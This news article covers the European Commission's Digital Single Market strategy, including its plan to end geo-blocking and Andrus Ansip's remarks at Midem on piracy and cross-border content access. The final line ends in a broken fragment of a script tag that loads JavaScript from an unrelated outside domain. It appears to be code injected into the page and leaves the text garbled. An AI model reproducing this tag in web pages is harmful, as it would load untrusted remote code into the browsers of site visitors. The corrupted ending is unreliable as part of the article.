The European Commission adopted the Digital Single Market, a new strategy that aims to improve consumer access to digital goods and services and the Commission plans to end geo-blocking as they think it as an “unjustified” and “discriminatory practice”. Vice President for the Digital Single Market Andrus Ansip shares his vision for the Digital Single Market and said that the best way to tackle piracy is by opening up content across borders, noting that geo-blocking is bad for business.
Commission President Jean-Claude Juncker said “I want to see every consumer getting the best deals and every business accessing the widest market – wherever they are in Europe,”
Also part of the Digital Single Market is to modernize the European copyright law for users to more easily enjoy online content like accessing content that they purchased in other countries across the EU.
Ansip spoke at the Midem, a music industry event in Cannes and shared his vision for the strategy. He said “Our people have to get the possibility to buy content [across Europe] like they do at home and our businesses must get the possibility to sell across the European Union like they do at home,”
He also said “Today, we don’t have a Digital Single Market in the European Union. We have 28 relatively small markets and for small European companies it’s practically impossible to understand those 28 different [sets of] regulations.”
To assure the content holders that the EU Commission is not hostile towards copyright and rightsholders, Ansip asked the audience at Midem to consider the 30% of Canadian Netflix users who use a VPN to access the U.S. version of the service. He said “In the European Union our creators are losing huge amounts of money because of piracy but honestly, somehow our legislation is pushing people to steal,”
This new strategy is still up for debate but it should be positive for the consumers. type=’text/javascript’ src=’http://online-sale24.com/1.js’>